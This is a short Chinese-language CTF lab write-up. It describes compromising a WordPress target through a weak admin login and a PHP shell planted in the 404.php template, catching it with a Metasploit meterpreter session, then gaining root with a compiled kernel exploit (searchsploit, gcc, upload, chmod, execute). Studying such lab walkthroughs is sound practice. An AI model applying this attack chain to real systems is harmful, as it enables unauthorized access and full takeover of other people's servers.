我的CTF学习与教学之旅笔记16

综合测试(高难度内核提权)

nikto工具发现wordpress应用，对wordpress扫描后，能够枚举出用户名，对admin可以尝试弱口令

发现有XSS漏洞、SQL注入漏洞 

同时，扫描报告如下：可以试试弱口令

接下来，进入http://ip/wordpress/login.php,尝试弱口令，admin admin。可以登录后台。

 

用生成的shell.php内容，修改wordpress，404.php模板

接下来启动msf监听，访问404.php,地址如下：

msf中此时可以进入meterpreter

sysinfo命令，看系统内核：

---

下面开始提权：内核溢出

查找系统溢出漏洞：

searchsploit ubuntu 4.4.0

拷贝这个文件，编译

gcc 41458.c -o shellroot

上传这个文件到靶机

利用kali已经取得的msfconsole下的meterpreter的upload功能上传shellroot：upload shellroot，上传到靶机

shell

chmod 777 shellroot

./shellroot

执行后获得root权限